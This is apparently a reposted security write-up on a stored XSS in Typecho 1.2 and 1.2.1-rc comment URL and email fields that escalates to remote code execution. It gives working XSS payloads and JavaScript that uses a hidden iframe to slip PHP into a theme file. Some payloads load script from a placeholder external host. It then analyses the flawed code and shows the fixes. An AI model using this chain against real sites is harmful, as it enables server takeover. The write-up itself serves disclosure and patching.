Typecho1.2 - 1.2.1-rc front-end comments store xss to rce vulnerability recurrence-analysis-fix

Typecho1.2 - 1.2.1-rc front-end comments store xss to rce vulnerability recurrence-analysis-fix


Table of contents

0x1 affected version

0x2 Vulnerability recurrence

0x2.1 Vulnerability recurrence in version 1.2

0x2.2 1.2.1-rc version vulnerability reappears

0x2.3 XSS to RCE

0x3 vulnerability analysis

0x3.1 1.2 Vulnerability Analysis

0x3.2 1.2.1-rc vulnerability analysis

0x4 bug fix

0x4.1 version 1.2 fixed

0x4.1 1.2.1-rc version repair


 

0x1 affected version

Typecho 1.2
Typecho 1.2.1-rc

0x2 Vulnerability recurrence

0x2.1 Vulnerability recurrence in version 1.2

The vulnerabilities in 1.2.1-rc also exist in this version

1.2.0 download address

https://github.com/typecho/typecho/releases/download/v1.2.0/typecho.zip

After the installation is complete, go to the article comment section and write the poc on the website

http://xxxxxx/"></a><script>alert(1)</script><a/href="#

After the comment is completed, it can be triggered directly at the front article.

Log in as the administrator and go to the backend. Manage->Comments can also be triggered.

0x2.2 1.2.1-rc version vulnerability reappears

1.2.1-rc download address

https://github.com/typecho/typecho/archive/refs/tags/v1.2.1-rc.zip

After installation, go to the comments and fill in your email address.

Then after submission, capture the packet and modify the email address to

"></a><script>alert('1')</script>"@example.com

This comment will not be triggered in the front-end, it needs to be triggered in the background, because the front-end does not output the mailbox

0x2.3 XSS to RCE

The next step is to edit the template file through js to perform rce

/admin/theme-editor.php

However, typecho background operations have Referer verification. If the Referer is not from domain/admin/theme-editor.php, the editing will fail, so there is no way to use js to directly send the package to edit the template because the Referer header will not be sent.

Here, insert an iframe element at the end of the web page through js to open the template editing page, and then send the package through the iframe to realize the package carrying the available Referer. This comment includes that part of the code is implemented using ChatGpt, which is very good.

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php phpinfo(); ?>\n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();

Here you can load js in the comments to use

1.2
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#

or

1.2.1-rc
"></a><script/src=http://js地址></script>"@example.com

In order to demonstrate here, I executed it directly in the console instead of calling external js.

Then access the template file here or let the article 404 trigger
/usr/themes/default/404.phpor/index.php/archives/1/A

0x3 vulnerability analysis

0x3.1 1.2 Vulnerability Analysis

var/Widget/Feedback.phpLine 209 of the file receives the url parameter, which is the URL we fill in. When we fill in the URL, we only trim the blank characters before and after, and no other processing is done.

            $comment['author'] = $this->request->filter('trim')->author;
            $comment['mail'] = $this->request->filter('trim')->mail;
            $comment['url'] = $this->request->filter('trim')->url;

The same is true for line 308

    $trackback['url'] = $this->request->filter('trim')->url;

The code for displaying user comments, var/Widget/Base/Comments.phpthe xss of the article page and the background comment management page caused by no filtering operation at the output URL at line 271 of the file

    public function author(?bool $autoLink = null, ?bool $noFollow = null)
    {
        $autoLink = (null === $autoLink) ? $this->options->commentsShowUrl : $autoLink;
        $noFollow = (null === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow;

        if ($this->url && $autoLink) {
            echo '<a href="' . $this->url. '"'
                . ($noFollow ? ' rel="external nofollow"' : null) . '>' . $this->author . '</a>';
        } else {
            echo $this->author;
        }
    }

0x3.2 1.2.1-rc vulnerability analysis

The verify email function on /var/Typecho/Validate.phpline 97

public static function email(string $str): bool
{
    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
}

The filter_var function FILTER_VALIDATE_EMAIL of PHP is used to verify whether a string is a valid email address. This filter does not guarantee security because a valid email address can still contain some malicious code.

reference

Does PHP's FILTER_VALIDATE_EMAIL provide adequate security? - Stack Overflow

You can see that the mailbox containing the xss payload can also be verified as a legitimate mailbox through FILTER_VALIDATE_EMAIL

I checked the verification of typecho1.1 and found that the regular expression used was changed to filter_var only after 1.2, which caused the vulnerability.

public static function email($str)
{
    return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
}

0x4 bug fix

0x4.1 version 1.2 fixed

According to the submission history of the Typecho warehouse, you can view the submission content of b989459 to modify the content of the three files to fix the xss at the website in the comment

var/Widget/Base/Comments.php
var/Widget/Feedback.php
var/Widget/Options.php

fix #1545 and close #1547 · typecho/typecho@b989459 · GitHub

var/Widget/Base/Comments.phpLine 271

 echo '<a href="' . $this->url . '"' 

change into

echo '<a href="' . Common::safeUrl($this->url) . '"'

This part filters the URL output in the comments Use the safeUrl function to process the illegal strings in the URL

var/Widget/Feedback.phpLines 209, 308

209

$comment['url'] = $this->request->filter('trim')->url;

change into

$comment['url'] = $this->request->filter('trim', 'url')->url;

308

   $trackback['url'] = $this->request->filter('trim')->url;

change into

$trackback['url'] = $this->request->filter('trim', 'url')->url;

This part processes the input

var/Widget/Options.phpLine 85

 * @property bool $commentsRequireURL

change into

 * @property bool $commentsRequireUrl

Also repair the xss at the mailbox according to the 1.2.1-rc version below

0x4.1 1.2.1-rc version repair

reference

fix #1560 · FaithPatrick/typecho@d9f666f · GitHub

1.2.1-rc can be temporarily modified first /var/Typecho/Validate.php. Line 99 is modified to

    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;

change into

    return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);

Reissue the package after repair

After the repair is completed, you can add a waf to typecho according to this article to intercept some attacks.

Guess you like

Origin blog.csdn.net/weixin_57099902/article/details/132765267